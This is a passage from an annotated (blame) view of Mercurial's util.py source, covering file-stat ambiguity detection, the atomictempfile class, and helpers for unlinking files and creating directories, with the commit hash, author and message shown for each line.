parents:
29017
diff
changeset
|
2092 # if ambiguity between stat of new and old file is |
30332
318a24b52eeb
spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents:
30329
diff
changeset
|
2093 # avoided, comparison of size, ctime and mtime is enough |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2094 # to exactly detect change of a file regardless of platform |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2095 return (self.stat.st_size == old.stat.st_size and |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2096 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and |
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2097 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2098 except AttributeError: |
32749
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2099 pass |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2100 try: |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2101 return self.stat is None and old.stat is None |
b5524fd9a4e3
util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32746
diff
changeset
|
2102 except AttributeError: |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2103 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2104 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2105 def isambig(self, old): |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2106 """Examine whether new (= self) stat is ambiguous against old one |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2107 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2108 "S[N]" below means stat of a file at N-th change: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2109 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2110 - S[n-1].ctime < S[n].ctime: can detect change of a file |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2111 - S[n-1].ctime == S[n].ctime |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2112 - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2113 - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2114 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2115 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2116 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2117 Case (*2) above means that a file was changed twice or more at |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2118 same time in sec (= S[n-1].ctime), and comparison of timestamp |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2119 is ambiguous. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2120 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2121 Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2122 timestamp is ambiguous". |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2123 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2124 But advancing mtime only in case (*2) doesn't work as |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2125 expected, because naturally advanced S[n].mtime in case (*1) |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2126 might be equal to manually advanced S[n-1 or earlier].mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2127 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2128 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2129 treated as ambiguous regardless of mtime, to avoid overlooking |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2130 by confliction between such mtime. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2131 |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2132 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2133 S[n].mtime", even if size of a file isn't changed. |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2134 """ |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2135 try: |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2136 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]) |
29200
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2137 except AttributeError: |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2138 return False |
ca4065028e00
util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29017
diff
changeset
|
2139 |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2140 def avoidambig(self, path, old): |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2141 """Change file stat of specified path to avoid ambiguity |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2142 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2143 'old' should be previous filestat of 'path'. |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2144 |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2145 This skips avoiding ambiguity, if a process doesn't have |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2146 appropriate privileges for 'path'. This returns False in this |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2147 case. |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2148 |
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2149 Otherwise, this returns True, as "ambiguity is avoided". |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2150 """ |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2151 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2152 try: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2153 os.utime(path, (advanced, advanced)) |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2154 except OSError as inst: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2155 if inst.errno == errno.EPERM: |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2156 # utime() on the file created by another user causes EPERM, |
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2157 # if a process doesn't have appropriate privileges |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2158 return False |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2159 raise |
32746
77f354ae1123
util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
32652
diff
changeset
|
2160 return True |
30319
b496a464399c
util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
30181
diff
changeset
|
2161 |
29298
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2162 def __ne__(self, other): |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2163 return not self == other |
82f6193ff2bc
util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29261
diff
changeset
|
2164 |
8778
c5f36402daad
use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8631
diff
changeset
|
2165 class atomictempfile(object): |
17424
e7cfe3587ea4
fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents:
17391
diff
changeset
|
2166 '''writable file object that atomically updates a file |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2167 |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2168 All writes will go to a temporary copy of the original file. Call |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2169 close() when you are done writing, and atomictempfile will rename |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2170 the temporary copy to the original name, making the changes |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2171 visible. If the object is destroyed without being closed, all your |
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2172 writes are discarded. |
29367
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2173 |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2174 checkambig argument of constructor is used with filestat, and is |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2175 useful only if target file is guarded by any lock (e.g. repo.lock |
4e6e280e238f
doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29342
diff
changeset
|
2176 or repo.wlock). |
14008
da65edcac72a
atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents:
14007
diff
changeset
|
2177 ''' |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2178 def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2179 self.__name = name # permanent name |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2180 self._tempname = mktempcopy(name, emptyok=('w' in mode), |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2181 createmode=createmode) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2182 self._fp = posixfile(self._tempname, mode) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2183 self._checkambig = checkambig |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2184 |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2185 # delegated methods |
29393
50269a4dce61
atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents:
29367
diff
changeset
|
2186 self.read = self._fp.read |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2187 self.write = self._fp.write |
17237
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2188 self.seek = self._fp.seek |
e73128535105
util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents:
17203
diff
changeset
|
2189 self.tell = self._fp.tell |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2190 self.fileno = self._fp.fileno |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2191 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2192 def close(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2193 if not self._fp.closed: |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2194 self._fp.close() |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2195 filename = localpath(self.__name) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2196 oldstat = self._checkambig and filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2197 if oldstat and oldstat.stat: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2198 rename(self._tempname, filename) |
32772
7ad95626f6a7
filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents:
32749
diff
changeset
|
2199 newstat = filestat.frompath(filename) |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2200 if newstat.isambig(oldstat): |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2201 # stat of changed file is ambiguous to original one |
36781
ffa3026d4196
cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents:
36724
diff
changeset
|
2202 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff |
29201
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2203 os.utime(filename, (advanced, advanced)) |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2204 else: |
a109bf7e0dc2
util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
29200
diff
changeset
|
2205 rename(self._tempname, filename) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2206 |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2207 def discard(self): |
8785
7a9151bc5b37
atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
8778
diff
changeset
|
2208 if not self._fp.closed: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2209 try: |
14007
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2210 os.unlink(self._tempname) |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2211 except OSError: |
d764463b433e
atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents:
14004
diff
changeset
|
2212 pass |
8327
aa25be1c2889
atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents:
8312
diff
changeset
|
2213 self._fp.close() |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2214 |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2215 def __del__(self): |
14968
b7dbe957585c
util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents:
14942
diff
changeset
|
2216 if safehasattr(self, '_fp'): # constructor actually did something |
15057
774da7121fc9
atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents:
15050
diff
changeset
|
2217 self.discard() |
13098
f7d6750dcd01
util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13072
diff
changeset
|
2218 |
29394
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2219 def __enter__(self): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2220 return self |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2221 |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2222 def __exit__(self, exctype, excvalue, traceback): |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2223 if exctype is not None: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2224 self.discard() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2225 else: |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2226 self.close() |
6d96658a22b0
atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents:
29393
diff
changeset
|
2227 |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2228 def unlinkpath(f, ignoremissing=False, rmdir=True): |
31539 | 2229 """unlink and remove the directory if it is empty""" |
31541
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2230 if ignoremissing: |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2231 tryunlink(f) |
bd9daafbf87c
util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents:
31540
diff
changeset
|
2232 else: |
31539 | 2233 unlink(f) |
38493
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2234 if rmdir: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2235 # try removing directories that might now be empty |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2236 try: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2237 removedirs(os.path.dirname(f)) |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2238 except OSError: |
da2a7d8354b2
unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents:
38380
diff
changeset
|
2239 pass |
31539 | 2240 |
31540
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2241 def tryunlink(f): |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2242 """Attempt to remove a file, ignoring ENOENT errors.""" |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2243 try: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2244 unlink(f) |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2245 except OSError as e: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2246 if e.errno != errno.ENOENT: |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2247 raise |
6d5b77abf306
util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents:
31539
diff
changeset
|
2248 |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2249 def makedirs(name, mode=None, notindexed=False): |
29017
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2250 """recursive directory creation with parent mode inheritance |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2251 |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2252 Newly created directories are marked as "not to be indexed by |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2253 the content indexing service", if ``notindexed`` is specified |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2254 for "write" mode access. |
07be86828e79
util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents:
28883
diff
changeset
|
2255 """ |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2256 try: |
18938
e22107cff6bf
util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents:
18930
diff
changeset
|
2257 makedir(name, notindexed) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2258 except OSError as err: |
6062
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2259 if err.errno == errno.EEXIST: |
3c3b126e5619
Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
6007
diff
changeset
|
2260 return |
15058
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2261 if err.errno != errno.ENOENT or not name: |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2262 raise |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
15057
diff
changeset
|
2263 parent = os.path.dirname(os.path.abspath(name)) |
81f33be0ea79
util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents:
